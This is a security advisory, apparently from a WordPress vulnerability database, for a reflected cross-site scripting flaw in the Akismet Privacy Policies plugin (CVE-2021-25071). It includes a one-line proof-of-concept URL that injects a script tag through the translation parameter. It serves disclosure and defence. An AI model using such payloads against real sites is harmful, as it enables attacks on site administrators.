WordPress Plugin Vulnerabilities

Akismet Privacy Policies <= 2.0.1- Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the translation parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting

Proof of Concept

https://example.com/wp-admin/options-general.php?page=akismet_privacy_notice_settings_group&translation=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E

Affects Plugins

Plugin icon
akismet-privacy-policies
No known fix

References

CVE
CVE-2021-25071

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
6.1 (medium)

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
https://kazet.cc/
Verified
Yes
WPVDB ID
53085936-fa07-4f00-a7dc-bbe98c51320e

Timeline

Publicly Published
2022-03-07 (about 2 years ago)
Added
2022-03-07 (about 2 years ago)
Last Updated
2022-04-09 (about 2 years ago)

Other

Published
Title
Published
2023-05-30
Title
Woocommerce Order address Print <= 3.2 - Reflected XSS
Published
2024-04-04
Title
Squelch Tabs and Accordions Shortcodes < 0.4.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via accordions Shortcode
Published
2023-01-24
Title
Page Builder: Live Composer < 1.5.23 - Contributor+ Stored XSS via Shortcode
Published
2020-01-30
Title
Registration Magic < 4.6.0.3 - Multiple Cross-Site Scripting (XSS)
Published
2016-04-12
Title
HDW WordPress Video Gallery <= 1.2 - Unauthenticated Reflected Cross-Site Scripting (XSS)